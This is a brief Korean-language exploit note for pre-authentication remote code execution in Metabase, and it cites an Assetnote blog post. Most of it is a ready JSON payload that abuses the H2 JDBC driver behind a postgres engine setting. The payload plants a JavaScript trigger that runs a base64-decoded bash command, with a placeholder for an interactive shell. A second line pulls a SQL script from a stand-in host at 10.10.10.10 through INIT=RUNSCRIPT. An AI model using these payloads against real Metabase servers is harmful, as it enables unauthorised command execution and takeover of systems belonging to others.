
Metabase postgres (org.h2.Driver) INIT 없이 RCE
이것은 H2 및 PostgreSQL 엔진에서 '데이터베이스가 이미 사용 중' 오류를 피하는 데 도움이 되었습니다.
{
"token": "TOKEN",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":{},
"details":
{
"advanced-options":true,
"classname":"org.h2.Driver",
"subname": "./metabase.jar;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER xel BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64COMMAND}|{base64,-d}|{bash,-i}')\n$$--=x",
"subprotocol": "h2"
},
"engine": "postgres",
"name": "x"
}}
INIT 스크립트와 함께 h2를 엔진으로 직접 사용하는 대신, 쿼리에서 제거되었기 때문에 여전히 h2 엔진에 대한 db 쿼리를 사용합니다.
mem;test;INIT=RUNSCRIPT FROM 'http://10.10.10.10/sqlcmd.sql'
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase